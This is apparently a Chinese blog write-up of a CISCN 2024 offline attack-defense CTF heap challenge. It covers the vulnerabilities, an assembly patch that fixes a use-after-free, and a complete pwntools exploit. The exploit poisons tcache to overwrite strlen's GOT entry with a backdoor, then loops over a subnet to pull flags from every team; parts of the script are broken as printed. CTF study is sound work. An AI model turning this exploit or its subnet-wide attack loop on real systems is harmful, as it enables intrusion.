ciscn2024华南赛区线下

文章发布时间:

最后更新时间:

支持绿盟.jpg

先吐槽pwn题的靶机

开局修好了文件,发现winscp传东西传不上去(没权限),问裁判咋回事,裁判说这是防止对面打进来删flag删库,把my_heap和flag.txt都设置成root权限了

?这我咋修?

大概差不多十一点,因为我winscp一直连着,这个点能传文件了,但是ssh又被ban了,chmod +x 想都别想

就跟靶机玩了一上午,吃完中饭1点钟才正式开打a(对,因为权限问题解决不了就没有wd了))

第一次线下赛主办方先送中饭再开打的

下午送了杯瑞幸还是不错的)

来看题
[ciscn2024 华南pwn1]
保护全开

2.34的libc
漏洞点
存在backdoor

add没有对大小进行限制,但是只能操作一个chunk

delete存在UAF

edit仅有0x8,但是有一次magic,可以泄露backdoor地址以及edit0x10(可以越界)

show会对输出进行一段“加密”,逆一下就好

1
2
3
output=b""
while len(libcbase)<6:
output+=p8((u8(p.recv(1))^(len(libcbase)+153)))

fix
system直接改成puts。(看平台,这个可能check不过,队友直接把这个backdoor给nop掉了)

add没修

delete的UAF修法:先把eh_frame段的flag改为7,使其可执行,在上面利用keypatch写下以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
call 0x10E0 ;call free@plt
push rbp
mov rbp, rsp

mov rax, cs:buf
mov rdi, rax;get chunk_ptr

xor r8,r8
push r8
pop rax
mov cs:buf,rax
nop

jmp 0x13BD;跳回main

再把原来的free改为jmp到自己写的代码上即可

break
没有控制大小和UAF,利用unsortedbin可以泄露libc地址
然后可以改strlen为backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
from pwn import p64,u64,p8,u8
#p = remote("172.16.75.105",)
context(arch='amd64', os='linux')
#context.log_level='debug'
libc = ELF('libc.so.6')

#p = ("172.16.75.105",9999)
#p = process("my_heap")
#for i in range(0,6):
#add(i,0x40)

def cmd(choice):
p.recvuntil("edit")
p.sendline(str(choice))

def add(size):
cmd(1)
p.recvuntil("which one you choose?")
p.sendline(str(1))
p.recvuntil("size:")
p.sendline(str(size))

def add_1():
cmd(1)
p.recvuntil("which one you choose?")
p.sendline(str(2))

def delete():
cmd(2)

def show():
cmd(3)

def edit(content):
cmd(4)
p.recvuntil("edit data:")
p.send(content)


def exp():
add(0x430)
add_1()
delete()
add_1()
show()
p.recvuntil("the data:")
libcbase=b""
while len(libcbase)<6:
libcbase+=p8((u8(p.recv(1))^(len(libcbase)+153)))

libcbase=u64(libcbase.ljust(8,b'\x00'))-0x21b0e0
success("libcbase: %s",hex(libcbase))
strlen_got=libcbase+libc.got['strlen']


add(0x70)
delete()
show()
p.recvuntil("the data:")
key=b""
while len(key)<6:
key+=p8((u8(p.recv(1))^(len(key)+153)))
key=u64(key.ljust(8,b'\x00'))
heapbase=key<<12
success("heapbase: %s",hex(heapbase))
tcache=heapbase+0xc0
addr=heapbase+0x290
success("addr: %s",hex(addr))
success("tcache: %s",hex(tcache))

cmd(5)
p.recvuntil("0x")
backdoor=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
base=backdoor-0x12be
buf=base+0x0000000000004040
success("backdoor: %s",hex(backdoor))
success("base: %s",hex(base))
p.recvuntil("edit data:")
p.send(p64(0)*2)
delete()
edit(p64(buf^key))
add(0x70)
add(0x70)
edit(p64(strlen_got))
edit(p64(backdoor))

p.sendline("cat flag.txt")


for i in range(0,255):
global ip,p
ip = '172.16.75.{i}'
p = (ip,9999)
exp()